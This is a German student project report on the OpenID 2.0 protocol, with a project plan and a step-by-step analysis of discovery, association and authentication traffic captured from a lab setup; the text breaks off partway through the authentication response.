OpenID 2.0 - Security

Transcrição

OpenID 2.0 - Security
Das OpenID 2.0
Framework
Studienarbeit SS 07
Loris Siegenthaler
David Benninger
Betreuer: Prof. Dr. Andreas Steffen
INHALTSVERZEICHNIS
Abstract ........................................................................................................................................................ abs-1
PROJEKTPLAN
Projektteam ................................................................................................................................................. plan-2
Arbeitsaufwand ........................................................................................................................................... plan-2
Arbeitsaufteilung ......................................................................................................................................... plan-2
OPENID 2.0 PROTOKOLL
Einführung ................................................................................................................................................... prot-4
Wie benutzt man OpenID ............................................................................................................................ prot-7
Protokollanalyse ........................................................................................................................................ prot-10
Extensions ................................................................................................................................................. prot-31
Sicherheit .................................................................................................................................................. prot-33
Glossar ....................................................................................................................................................... prot-38
Literaturverzeichnis ................................................................................................................................... prot-39
OPENID 2.0 SERVER
Einführung ..................................................................................................................................................... srv-4
Features ......................................................................................................................................................... srv-4
Voraussetzungen ........................................................................................................................................... srv-4
Installation ..................................................................................................................................................... srv-4
Konfiguration ................................................................................................................................................. srv-6
Design ............................................................................................................................................................ srv-7
Erweiterungen ............................................................................................................................................. srv-13
Anhang ........................................................................................................................................................ srv-16
OPENID 2.0 GÄSTEBUCH
Einführung ...................................................................................................................................................... gb-3
Voraussetzungen ............................................................................................................................................ gb-3
Installation ...................................................................................................................................................... gb-3
Bedienung (Das Gute) .................................................................................................................................... gb-4
Bedienung (Das Böse) .................................................................................................................................... gb-5
PRAKTIKUMSVORBEREITUNGEN
Installation des VMware Servers ............................................................................................................... prakv-2
Laden der VMware Images ....................................................................................................................... prakv-2
Netzwerk Konfiguration ............................................................................................................................ prakv-3
Starten und Testen der Images ................................................................................................................. prakv-4
PRAKTIKUMSVERSUCH
Starten der Instanzen .................................................................................................................................. prak-2
Allgemeine Fragen ....................................................................................................................................... prak-3
Versuche ...................................................................................................................................................... prak-4
Phishing ....................................................................................................................................................... prak-6
Erfahrungsbericht David Benninger ............................................................................................................ erf-db
Erfahrungsbericht Loris Siegenthaler ............................................................................................................ erf-ls
ABSTRACT
OPENID
In dieser Studienarbeit soll das neue OpenID 2.0 Framework genauer untersucht werden. OpenID erlaubt ein
Single-Sign-On auf beliebige OpenID fähige Webseiten (Relying Party) und soll in Zukunft auch von Microsoft
Vista unterstützt werden. Als grosser Vorteil gegenüber anderen Single-Sign-On Lösungen, hat der Benutzer die
volle Kontrolle welche Daten von seinem OpenID Provider an die jeweilige Relying Party weitergegeben
werden.
AUFGABENSTELLUNG
Evaluation einer geeigneten Library die das OpenID 2.0 Protokoll sowohl für den Provider wie auch
den Relying Party Teil implementiert.
Auf der Basis der gewählten OpenID Library soll eine OpenID 2.0 Provider und Relying Party Demo
gebaut werden, die als IntSi2 Praktikumsversuch verwendet werden kann.
Die Funktionsweise von OpenID soll in verständlicher Art und Weise beschrieben werden. Auch
mögliche Attacken (z.B. Man-in-the-Middle) sollen betrachtet werden.
ERGEBNIS
Im Rahmen dieser Studienarbeit wurde das OpenID 2.0 Framework untersucht und dokumentiert.
Um den genauen Protokollablauf zu analysieren, wurde eine VMware basierte Testumgebung, bestehend aus
zwei virtuellen Servern, Relying Party und Provider, aufgesetzt.
Ein einfaches Gästebuch, welches das Anmelden mittels OpenID unterstützt, diente als Relying Party.
Zu Beginn dieser Studienarbeit existierte kein fertiger OpenID Provider, welcher die 2.0 Spezifikation
unterstützte. Deshalb wurde, nach Evaluation einer geeigneten OpenID Library, ein OpenID 2.0 fähiger Server
implementiert.
Um die Installation und Wartung möglichst einfach zu gestalten, wurde der OpenID 2.0 Server sowie das
Gästebuch für die typische, verbreitete LAMP (Linux-Apache-MySQL-PHP) Umgebung erstellt.
Zuletzt wurde, mit Hilfe des Gästebuches und des OpenID 2.0 Servers, ein IntSi2 Praktikumsversuch erstellt.
Dieser behandelt den wesentlichen Protokollfluss sowie das Phishing Problem.
abs-1
Projektplan
Studienarbeit SS 07
Loris Siegenthaler
David Benninger
Betreuer: Prof. Dr. Andreas Steffen
PROJEKTTEAM
Loris Siegenthaler
Alte Jonastrasse 80, 8640 Rapperswil
[email protected]
David Benninger
Alte Jonastrasse 80, 8640 Rapperswil
[email protected]
ARBEITSAUFWAND
Die Studienarbeit dauert 14 Wochen. Pro Woche werden ca. 28 Stunden investiert. Insgesamt stehen somit
392 Arbeitsstunden zur Verfügung.
ARBEITSAUFTEILUNG
Arbeit / Woche
Einarbeitung / Lesen der
Spezifikationen
Implementation
Gästebuch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Implementation Server
Analyse
Dokumentation
Erstellung Praktikum
plan-2
OpenID 2.0 Protokoll
Studienarbeit SS 07
Dieses Dokument beschreibt die Funktionsweise und den Aufbau
des Single-Sign-On Protokolls OpenID 2.0.
Loris Siegenthaler
David Benninger
Betreuer: Prof. Dr. Andreas Steffen
INHALTSVERZEICHNIS
Einführung ............................................................................................................................................................... 4
Geschichte ........................................................................................................................................................... 4
Verbreitung ......................................................................................................................................................... 5
Benutzer .......................................................................................................................................................... 5
Relying Party ................................................................................................................................................... 5
Provider ........................................................................................................................................................... 5
Alternativen......................................................................................................................................................... 5
Implementationen .............................................................................................................................................. 6
Libraries ........................................................................................................................................................... 6
Standalone Server ........................................................................................................................................... 6
Wie benutzt man OpenID ....................................................................................................................................... 7
Herkömmliches Login .......................................................................................................................................... 7
Registrieren und Einloggen mit OpenID .............................................................................................................. 8
Protokollanalyse .................................................................................................................................................... 10
Übersicht ........................................................................................................................................................... 10
Protokolle und Ports ......................................................................................................................................... 11
Beispielinteraktion ............................................................................................................................................ 12
Diagramm ...................................................................................................................................................... 12
1. Identify ...................................................................................................................................................... 13
2. / 3. / 4. / 5. Discovery ................................................................................................................................ 14
6. / 7. Association Negotiation ...................................................................................................................... 16
8. Authentication Request ............................................................................................................................ 18
9. Authentication Request ............................................................................................................................ 19
10. / 11. Login................................................................................................................................................ 20
12. / 13. Profile Information.......................................................................................................................... 22
14. Authentication Response ........................................................................................................................ 24
15. Authentication Response ........................................................................................................................ 25
prot-2
Immediate Requests ......................................................................................................................................... 26
Diagramm ...................................................................................................................................................... 26
4. Authentication Request ............................................................................................................................ 27
5. Authentication Response .......................................................................................................................... 27
Dumb Mode (Stateless Mode) .......................................................................................................................... 28
Diagramm ...................................................................................................................................................... 28
3. Authentication Request ............................................................................................................................ 28
5. Authentication Response .......................................................................................................................... 29
6. Check Authentication ................................................................................................................................ 30
Extensions ............................................................................................................................................................. 31
Simple Registration Extension 1.1 ................................................................................................................. 31
Assertion Quality Extension 1.0 .................................................................................................................... 32
OpenID Attribute Exchange 1.0..................................................................................................................... 32
Sicherheit .............................................................................................................................................................. 33
Phishing ............................................................................................................................................................. 33
Beispiel .......................................................................................................................................................... 34
Man in the Middle ............................................................................................................................................. 37
Replay Attacken ................................................................................................................................................ 37
Glossar................................................................................................................................................................... 38
Literaturverzeichnnis ............................................................................................................................................ 39
prot-3
EINFÜHRUNG
OpenID ist ein dezentrales System zur Identifizierung. Die Idee ist, dass Benutzer mit einem Benutzerkonto bei
einem OpenID Provider sich mit diesem auf beliebigen OpenID unterstützenden Webseiten (Relying Party)
anmelden können, ohne dass sie für jede Webseite ein eigenes Benutzerkonto und Passwort benötigen. Dabei
wird das Konzept der URL-basierten Identität umgesetzt.
GESCHICHTE
OpenID wurde ursprünglich von Brad Fitzpatrick erdacht [1], dem Gründer von LiveJournal. 2005 wurde
LiveJournal von SixApart aufgekauft, die OpenID weiterhin unterstützen. Aber auch VeriSign, AOL, Microsoft,
Digg und die Mozilla Foundation sind in der Zwischenzeit mit dabei.
1994
1998
2004
2005
Yahoo initiiert das SSO-Paradigma, rein unternehmensinterne Lösung
MSN Startet sein eigenes SSO, Ankündigung von MSN Passport
Google Startet sein eigenes SSO mit den Gmail und Google Accounts
OpenID Initiiert SSO für unabhängige Seiten
prot-4
VERBREITUNG
BENUTZER
Dank den 63 Millionen AOL Benutzer, welche automatisch eine OpenID erhalten, beträgt die Anzahl
registrierter OpenID Benutzer ungefähr 75 Millionen. [2]
RELYING PARTY
Ca. 2000 Seiten welche den Login mit OpenID ermöglichen
Ca. 25 - 30 neue OpenID-fähige Seiten pro Tag
Viele Open Source Projekte unterstützen OpenID (Joomla, phpBB, Drupal, Plone, MediaWiki)
PROVIDER
Viele, grösstenteils unbekannte, amerikanische OpenID Provider
Myopenid.com, bekanntester und grösster, ISP unabhängiger, Provider
AOL bietet seinen Benutzern automatisch eine OpenID URL
Zwei deutsche Provider (meinguter.name, xlogon.net)
ALTERNATIVEN
Vergleichbare Systeme, die bei höherer Komplexität mehr Funktionen bieten, sind Shibboleth und Liberty, die
beide auf der Security Assertion Markup Language (SAML) aufbauen.
prot-5
IMPLEMENTATIONEN
LIBRARIES
OpenID Libraries sind in allen verbreiteten Programmiersprachen verfügbar.
Die beliebteste und meist aktualisierte Version ist die der in der OpenID Foundation vertretenen Firma JanRain
Inc. Diese Library ist als Python, PHP, Perl, Ruby und C# Version verfügbar. Libraries welche die OpenID
Authentication 2.0 Spezifikation [3] unterstützen wurden erst von JanRain in Python und PHP implementiert
und befinden sich noch im Beta Stadium.
Alle regulären Versionen der Libraries findet man auf der offiziellen OpenID Homepage
http://openid.net/wiki/index.php/Libraries.
Betaversionen stehen unter http://www.openidenabled.com/resources/downloads/ zum Download bereit.
Die folgenden OpenID Libraries unterstützen OpenID Authentication 2.0 und sind sowohl für die Relying Party
als auch als Server zu gebrauchen.
Library
Programmiersprache
Anforderungen
Hersteller
JanRain
PHP, Python
LAMP / Python
JanRain Inc. [4]
OpenID4Java
Java
JDK 1.4, Apache Tomcat, JUnit, Ant
Sxip.com [5]
Joid
Java
JDK 1.4, Apache Tomcat, Hibernate 3,
HSQL DB
Unbekannt
NetMesh InfoGrid
LID
PHP, Java
LAMP / JDK 1.5, Apache Tomcat, MySQL
NetMesh [6]
STANDALONE SERVER
Bis anhin existierten nur Standalone Server, die Libraries benutzen, welche die Version 1.1 des OpenID
Protokolls implementierten. Unser OpenID 2 Provider „OpenID 2.0 Server“ schliesst diese Lücke indem er die
1.1 sowie die 2.0 Spezifikation beherrscht.
prot-6
WIE BENUTZT MAN OPENID
Um die Funktionsweise von OpenID besser verständlich zu machen, stellen wir hier kurz das traditionelle Login
mit Benutzername und Passwort dem OpenID Login gegenüber.
HERKÖMMLICHES LOGIN
Jeder Benutzer hat eine Reihe von Webseiten die er täglich
besucht. Bei jeder einzelnen Seite meldet er sich mit seinem
Benutzernamen und dem dazugehörigen Passwort an – jedes
Mal aus Sicherheitsgründen mit einer anderen
Benutzername-Passwort Kombination.
Umständlich wird es, wenn man einen neuen Account auf
einer Webseite anlegen will. Nach der Eingabe diverser
Benutzerdaten muss meistens auch noch die E-Mail Adresse
verifiziert werden. Das ist nicht nur zeitaufwändig, sondern
man produziert auf diesem Weg auch jede Menge redundante Daten, die nur schwer zu pflegen sind.
OpenID vereinfacht den ganzen Ablauf erheblich.
prot-7
REGISTRIEREN UND EINLOGGEN MIT OPENID
OpenID hat den einfachen Grundgedanken, dass sich ein Benutzer über eine eindeutige URL identifiziert, die
ihm “gehört” und für die er bereits eindeutig identifiziert wurde.
Wie sieht dies praktisch aus? Man registriert - ein einziges Mal - einen Account bei einem OpenID Provider und
speichert dort die Daten die man potenziell an andere Websites weitergeben will, also zum Beispiel Nickname,
Name, Emailadresse, Sprache, Land, usw.
Meldet man sich nun beim Start einer Surf-Session bei seinem OpenID Provider an, so ist man dort
authentifiziert und kann alle Webseiten mit OpenID Unterstützung wesentlich einfacher benutzen. Möchte
man zum Beispiel auf der Seite „Wikitravel.com“ einen Kommentar abgeben oder einen eigenen Eintrag
verfassen, gibt man seine persönliche OpenID URL ein und drückt „Log In“. Die Relying Party schickt nun eine
Anfrage an den OpenID Provider.
prot-8
Der OpenID Provider zeigt dem Benutzer eine Seite an, auf der man die Anfrage einmalig akzeptieren oder
ablehnen kann. Zusätzlich kann detailliert bestimmt werden, welche Daten die Relying Party erhalten soll.
Akzeptiert man die Datenübergabe, schickt der OpenID Provider die Benutzer Daten an die Relying Party. Diese
verarbeitet die Daten und setzt den Benutzerstatus auf “eingeloggt”.
Beim ersten OpenID Login bei einer Relying Party wird meistens automatisch ein neuer Account angelegt, der
komplette Registrierungsprozess entfällt. Es sei jedoch erwähnt, dass es auch Websites gibt, denen die derzeit
vom OpenID Protokoll zur Verfügung gestellten Daten nicht ausreichen. In diesem Fall müssen die fehlenden
Daten dann manuell eingegeben werden.
prot-9
PROTOKOLLANALYSE
ÜBERSICHT
Das folgende Diagramm zeigt den groben Kommunikationsfluss der involvierten Parteien.
1.
Der Benutzer gibt seine OpenID URL in das Login Formular der Relying Party ein.
2.
Die Relying Party extrahiert aus der unter der OpenID URL abgelegten User Identity Page die Adresse
des OpenID Providers.
3.
Ist der Relying Party der OpenID Provider noch nicht bekannt, wird durch direkte Kommunikation ein
gemeinsames Geheimnis ausgehandelt.
4.
Die Relying Party leitet den Benutzer mit einem HTTP Redirect an den OpenID Provider weiter. Die
Relying Party gibt dabei dem Benutzer die für den Provider notwendigen Daten (Relying Party URL,
OpenID URL, usw.) mit.
5.
Der Benutzer authentifiziert sich über ein Client-Zertifikat oder mit Benutzername und Passwort bei
seinem OpenID Provider.
6.
Der Benutzer wird wieder zurück an die Relying Party weitergeleitet. Dabei werden dem Benutzer die
notwendigen Daten (z.B. Name, Geburtsdatum) für die Relying Party mitgegeben.
7.
Die Relying Party verifiziert die vom Benutzer gesendeten Daten und meldet ihn an.
prot-10
PROTOKOLLE UND PORTS
OpenID basiert völlig auf HTTP bzw. HTTPS. Da sämtliche Dienste und Server einheitlich über URLs adressiert
werden, ist es prinzipiell möglich auf andere TCP Ports als 80 und 443 auszuweichen.
OpenID unterscheidet zwischen direkter Kommunikation und indirekter Kommunikation.
Die direkte Kommunikation erfolgt über einen HTTP POST und wird direkt an den Empfänger gesendet. Die
Rückmeldung vom Empfänger erfolgt als „text/plain“ Seite mit Doppelpunkt getrennten Key-Value Paaren.
Die indirekte Kommunikation führt über den User-Agent und wird mit einem normalen HTTP Redirect oder bei
einer Nachrichtenlänge von mehr als 2047 Zeichen mit einem HTML POST Formular realisiert.
Erst das nächste Release der, bei unserem OpenID 2.0 Server verwendeten, JanRain OpenID 2 PHP Library wird
den Redirect mit einem HTTP POST Formular unterstützten, da bis jetzt die maximale Nachrichtenlänge nie
überschritten wird.
prot-11
BEISPIELINTERAKTION
Im Folgenden wird ein typischer Anwendungsfall detailliert aufgezeigt und analysiert. Unser „OpenID 2.0
Server“ welcher das OpenID 2.0 Protokoll unterstützt, dient als Provider. Als Relying Party kommt ein ebenfalls
selbst programmiertes, minimales Gästebuch zum Einsatz. Die User Identity Page liegt auf dem OpenID
Provider und der JavaScript fähige Browser Firefox 2 fungiert als User Agent.
DIAGRAMM
prot-12
1. IDENTIFY
Anstatt eines Benutzernamens verwendet OpenID eine URL als Benutzeridentifikation. Sie ist somit weltweit
eindeutig. Die OpenID URL kann entweder ein XRI Identifier [7] (xri://) oder eine gewöhnliche http:// oder
https:// URL sein.
Diese URL gibt der Benutzer in das dafür vorgesehene Feld bei der Relying Party ein und drückt den Login
Button.
Damit übermittelt er seine OpenID URL der Relying Party welche daraufhin den Login Prozess startet.
In unserem Beispiel wird die OpenID URL: http://openid.virtualpatient.ch/id/beatstream verwendet.
User Agent > Relying Party
Relying-dump1, No 6
POST /openid.php HTTP/1.1
Host: consumer.virtualpatient.ch
Referer: http://consumer.virtualpatient.ch/openid.php
openid_identifier=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
prot-13
2. / 3. / 4. / 5. DISCOVERY
Als Discovery wird der Prozess bezeichnet, mit dem die Relying Party aus der OpenID URL die notwendigen
Informationen des OpenID Providers erhält.
Ist die OpenID URL ein XRI Identifier, wird mittels XRI Resolution ein XML Dokument (XRDS) geholt. Ist die
OpenID URL eine gewöhnliche HTTP oder HTTPS URL, wird versucht mit dem Yadis Service Discovery Protokoll
[8] ein XRDS Dokument zu erhalten. Gelingt dies nicht, wird mittels eines einfachen HTTP Requests die HTML
Seite geladen und die OpenID Provider Informationen aus dem HTML-HEAD Bereich geholt.
2. GET IDPAGE
Die Relying Party kontaktiert nun den OpenID Provider und fordert die User Identity Page des Benutzers an.
Relying Party > User Identity Page
Relying-dump1, No 11
GET /id/beatstream HTTP/1.0
User-Agent: PHP Yadis Library Fetcher
Host: openid.virtualpatient.ch
Accept: application/xrds+xml
3. RETURN IDPAGE
Falls der Benutzer registriert ist, antwortet der Provider und teilt der Relying Party die URL des XRDS
Dokumentes mit.
User Identity Page > Relying Party
Relying-dump1, No 13
X-XRDS-Location: http://openid.virtualpatient.ch/trunk/xrds.php?user=beatstream
<html>
<head>
<link rel="openid2.provider openid.server" href="http://openid.virtualpatient.ch/trunk/server.php"/>
<meta http-equiv="X-XRDS-Location" content="http://openid.virtualpatient.ch/trunk/xrds.php?user=beatstream" />
</head>
<body>
This is the identity page for users of this server.
</body>
</html>
prot-14
4. GET SERVICES
Die Relying Party fordert vom OpenID Provider das XRDS Dokument an.
Relying Party > OpenID Provider
Relying-dump1, No 21
GET /trunk/xrds.php?user=beatstream HTTP/1.0
User-Agent: PHP Yadis Library Fetcher
Host: openid.virtualpatient.ch
5. RETURN SERVICES
Das vom Provider gesendete XRDS Dokument beinhaltet nicht nur die Server URL, sondern auch
Protokollversion und unterstützte Extensions.
OpenID Provider > Relying Party
Relying-dump1, No 23
Content-Type: application/xrds+xml
<?xml version="1.0" encoding="UTF-8"?><xrds:XRDS
xmlns:xrds="xri://$xrds"
xmlns="xri://$xrd*($v*2.0)">
<XRD>
<Service priority="0">
<Type>http://specs.openid.net/auth/2.0/signon</Type>
<Type>http://openid.net/signon/1.1</Type>
<Type>http://openid.net/extensions/sreg/1.1</Type>
<Type>http://openid.net/sreg/1.0</Type>
<URI>http://openid.virtualpatient.ch/trunk/server.php</URI>
</Service>
</XRD>
</xrds:XRDS>
Falls das Yadis Discovery fehlschlägt oder das XDRS Dokument fehlerhaft ist kann die Relying Party die
benötigten Informationen mittels eines reinen HTML Discoverys in Erfahrung bringen. Jede beliebige HTML
Seite kann dabei im HEAD Bereich die benötigten Informationen enthalten. Bei HTML Discovery wird
automatisch angenommen, dass es sich um OpenID 2.0 handelt.
Beispiel: HTML Discovery Seite
<head>
…
<link rel="openid2.provider openid.server"
href="http://www.livejournal.com/openid/server.bml"/>
<link rel="openid2.local_id openid.delegate"
href="http://exampleuser.livejournal.com/"/>
…
</head>
prot-15
6. / 7. ASSOCIATION NEGOTIATION
Die Relying Party erstellt mit jedem OpenID Provider eine Association. Eine Association besteht aus einem
Shared Secret, einem Signature Algorithmus (SHA1 oder SHA256) und einer Lebensdauer (typischerweise 14
Tage). Das Shared Secret mit einer Länge von 160-Bit (SHA1) oder 256-Bit (SHA256) wird auf dem OpenID
Provider erstellt und normalerweise mit einem über Diffie Hellman (DH) ausgehandelten Geheimnis
verschlüsselt. Das Aushandeln des Geheimnisses ist somit anfällig auf Man-in-the-Middle Attacken. Die
Association wird in direkter Kommunikation über HTTP ausgehandelt.
Die notwendigen Diffie Hellman Parameter, wie Modulus und Generator, können im Association Request dem
OpenID Provider mitgegeben werden. Die dafür vorgesehenen Felder „dh_modulus” und „dh_gen” werden
aber meist nicht gesendet, sondern die in der OpenID Spezifikation definierten Standardwerte [9] dafür
verwendet. Der Standardmodulus hat eine Länge von 1024 Bits.
Ist die Relying Party nicht in der Lage Statusinformationen zu halten oder grosse Signatur Berechnungen
durchzuführen, kann sie den Dumb Mode benutzen. Im Dumb Mode generiert der OpenID Provider ein privates
Geheimnis um die indirekte Kommunikation über den User-Agent zu signieren. Die Relying Party prüft nun die
Signatur indem sie eine direkte HTTP Anfrage an den OpenID Provider sendet. Da diese Abfrage für Man-in-theMiddle Attacken anfällig ist, sollte der Dumb Mode vermieden werden.
6. ASSOCIATION REQUEST
Die Relying Party fordert den OpenID Provider auf eine Association mit ihr zu einzugehen. Dies teilt sie dem
Provider mittels der Variablen „openid.mode“ mit. Mit „openid.assoc_type ” wird der zu verwendende
Signaturalgorithmus definiert und mit „openid.ns“ wird dem Provider mitgeteilt, ob OpenID 2.0 oder der 1.1
Kompatibilitätsmodus verwendet werden soll.
„session_type“ definiert, ob das Geheimnis mit Diffie Hellman verschlüsselt („DH-SHA1“) oder als Plaintext
(„no-encryption“) übertragen wird. Letzteres sollte nur in Verbindung mit SSL/TLS verwendet werden.
Um den gemeinsamen Diffie Hellman Key für die Verschlüsselung des Geheimnisses zu bilden überträgt die
Relying Party zudem mit „dh_consumer_public“ ihren öffentlichen Teil des DH Algorithmus.
Relying Party > OpenID Provider
Relying-dump1, No 31
POST /trunk/server.php HTTP/1.0
Host: openid.virtualpatient.ch
Content-type: application/x-www-form-urlencoded
openid.assoc_type=HMAC-SHA1
&openid.dh_consumer_public=fr4vTvZeydMDiFvU8qubcZ…JuT3GUk%3D
&openid.mode=associate
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.session_type=DH-SHA1
prot-16
7. ASSOCIATION RESPONSE
Der OpenID Provider antwortet auf den Association Request der Relying Party und teilt dieser seinen
öffentlichen Teil des DH Algorithmus, sowie das bereits mit DH verschlüsselte Geheimnis „enc_mac_key“ mit.
Zusätzlich bestätigt er mit dem wiederholten senden der Flags „assoc_type“, „ns“, und „session_type“ dass er
alle gewünschten Algorithmus Optionen unterstützt.
Das Geheimnis wird auf beiden Seiten zusammen mit einem eindeutigen Handle gespeichert.
OpenID Provider > Relying Party
Relying-dump1, No 33
assoc_handle:{HMAC-SHA1}{46779290}{hXn/Bg==}
assoc_type:HMAC-SHA1
dh_server_public:SCBouLtsq35zUFkpkzSrX+…mRmeO78Wc7JpLuzkET9KdMxw=
enc_mac_key:znM7cizGwbGCjU9SaE1FK3KJ4uU=
expires_in:1209600
ns:http://specs.openid.net/auth/2.0
session_type:DH-SHA1
Beispiel: Association Datei oder Datenbankeintrag
assoc_type:HMAC-SHA1
handle:{HMAC-SHA1}{4663f329}{olMq+g==}
issued:1180962998
lifetime:1209600
secret:gKDC+uTi6lbztWokqgNHi4Ojjpo=
version:2
prot-17
8. AUTHENTICATION REQUEST
Nun wird der User Agent von der Relying Party zum OpenID Provider weitergeleitet. Diese teilt dem Provider
mit, welche Attribute zur Registrierung benötigt werden („openid.sreg.required“) und welche optional
verarbeitet werden können („openid.sreg.optional“). Zusätzlich wird dem Provider die Identity des zu
überprüfenden Benutzers („openid.identity“) und die URL der Relying Party („openid.return_to“) übergeben.
Damit der OpenID Provider bei der Rückgabe der gewünschten Attribute weiss mit welchem Schlüssel er diese
zu signieren hat, wird auch der eindeutige Association Handle mit übertragen.
Relying Party > User Agent
Relying-dump1, No 41
HTTP/1.1 302 Found
Date: Tue, 19 Jun 2007 10:29:00 GMT
Server: Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://openid.virtualpatient.ch/trunk/server.php?openid.assoc_handle=%7BHMACSHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=checkid_setup
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.realm=http%3A%2F%2Fconsumer.virtualpatient.ch%2F
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0619T10%253A29%253A18ZLkUsE9
&openid.sreg.optional=email%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry
&openid.sreg.required=nickname
prot-18
9. AUTHENTICATION REQUEST
Die Anfrage der Relying Party wird vom User Agent automatisch an den OpenID Provider weitergeleitet.
User Agent > OpenID Provider
Relying-dump1, No 47
GET /trunk/server.php?openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=checkid_setup
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.realm=http%3A%2F%2Fconsumer.virtualpatient.ch%2F
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0619T10%253A29%253A18ZLkUsE9
&openid.sreg.optional=email%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry
&openid.sreg.required=nickname
prot-19
10. / 11. LOGIN
10. LOGIN PAGE
Der Benutzer wird aufgefordert sich beim OpenID Provider zu authentifizieren. Dies kann über eine
Benutzername, Passwort Kombination oder mit einem Client Zertifikat erfolgen. Der gesamte Login Ablauf ist
Provider abhängig und ist deshalb nicht Teil der OpenID 2.0 Spezifikation.
OpenID Provider > User Agent
provider-dump1, No 49
HTTP/1.1 302 Found
Location: ./index.php?module=login
User Agent > OpenID Provider
provider-dump1, No 50
GET /trunk/index.php?module=login HTTP/1.1
Host: openid.virtualpatient.ch
Referer: http://consumer.virtualpatient.ch/openid.php
prot-20
OpenID Provider > User Agent
provider-dump1, No 52
<body>
…
<form name="Login" action="index.php?action=login" method="post">
<label>Benutzername:</label><br />
<input type="text" name="usernameField" /><br />
<label>Passwort:</label><br />
<input type="password" name="passwordField" size="16" />
<input type="image" src="templates/default/images/greenLoginButton.png"/>
</form>
…
</body>
11. LOGIN DATA
Der eingegebene Benutzername und das dazugehörige Passwort werden übermittelt.
User Agent > OpenID Provider
Provider-dump1, No 64
POST /trunk/index.php?action=login HTTP/1.1
Host: openid.virtualpatient.ch
Referer: http://openid.virtualpatient.ch/trunk/index.php?module=login
usernameField=beatstream
&passwordField=123abc
&x=69&y=27
prot-21
12. / 13. PROFILE INFORMATION
12. REQUEST
Der Benutzer kann auswählen, welche Attribute der OpenID Provider der Relying Party übermitteln soll und ob
er dieser Seite zukünftig vertrauen will. Vertraute Seiten können mit einem Immediate Request (siehe Kapitel
Immediate Requests) bereits einmal angeforderte Benutzerdaten erneut abrufen.
OpenID Provider > User Agent
Provider-dump1, No 66
<form action="index.php?action=sendData" method="post">
<table width="100%" border="0" cellspacing="2" cellpadding="0"><tr>
<td>Nickname:</td><td width="20"></td>
<td>beatstream</td><td width="20"></td>
<td>erforderlich</td>
<td align="right">
<div align="right">
<input type="checkbox" name="sendData[]" value="nickname" /></div></td></tr><tr>
<td>Name:</td>
<td>Name:</td>
<td width="20"></td>
<td>Loris Siegenthaler</td>
<td width="20"></td>
<td>optional</td>
<td align="right">
<div align="right">
<input type="checkbox" name="sendData[]" value="fullname" /></div></td></tr>
<input name="submit_yes" value="yes” alt=”Absenden" /> <input name="submit_no" value="no" alt="Absenden" />
prot-22
13. RESPONSE
Nachdem der Benutzer die zu übermittelnden Attribute selektiert hat, wird die Auswahl dem Provider
mitgeteilt.
User Agent > OpenID Provider
Provider-dump1, No 87
POST /trunk/index.php?action=sendData HTTP/1.1
sendData%5B%5D=nickname
&sendData%5B%5D=fullname
&sendData%5B%5D=email
&sendData%5B%5D=dob
&sendData%5B%5D=gender
&sendData%5B%5D=postcode
&sendData%5B%5D=country
&submit_yes.x=54
&submit_yes.y=10
&submit_yes=yes
prot-23
14. AUTHENTICATION RESPONSE
Die Benutzerinformationen („openid.ext0….“) werden vom OpenID Provider via User Agent der Relying Party
gesendet. Über diese wird mit dem gemeinsamen Geheimnis eine Signatur (“openid.sig„) berechnet. Damit ist
es nicht möglich die Benutzerinformationen auf dem Weg vom OpenID Provider zur Relying Party zu
verfälschen ohne dass dies bemerkt wird.
OpenID Provider > User Agent
Provider-dump1, No 89
Date: Tue, 19 Jun 2007 08:24:27 GMT
Server: Apache/2.0.55 (Ubuntu) DAV/2 SVN/1.3.2 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: http://consumer.virtualpatient.ch/login.php?janrain_nonce=2007-06-19T10%3A29%3A18ZLkUsE9
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.ext0.country=CH
&openid.ext0.dob=1982-05-25
&openid.ext0.email=spamtest%40virtualpatient.ch
&openid.ext0.fullname=Loris+Siegenthaler
&openid.ext0.gender=M
&openid.ext0.nickname=beatstream
&openid.ext0.postcode=8640
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=id_res&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.ext0=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.op_endpoint=http%3A%2F%2Fopenid.virtualpatient.ch%2Ftrunk%2Fserver.php
&openid.response_nonce=2007-06-19T08%3A24%3A27ZngNmaQ
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0619T10%253A29%253A18ZLkUsE9
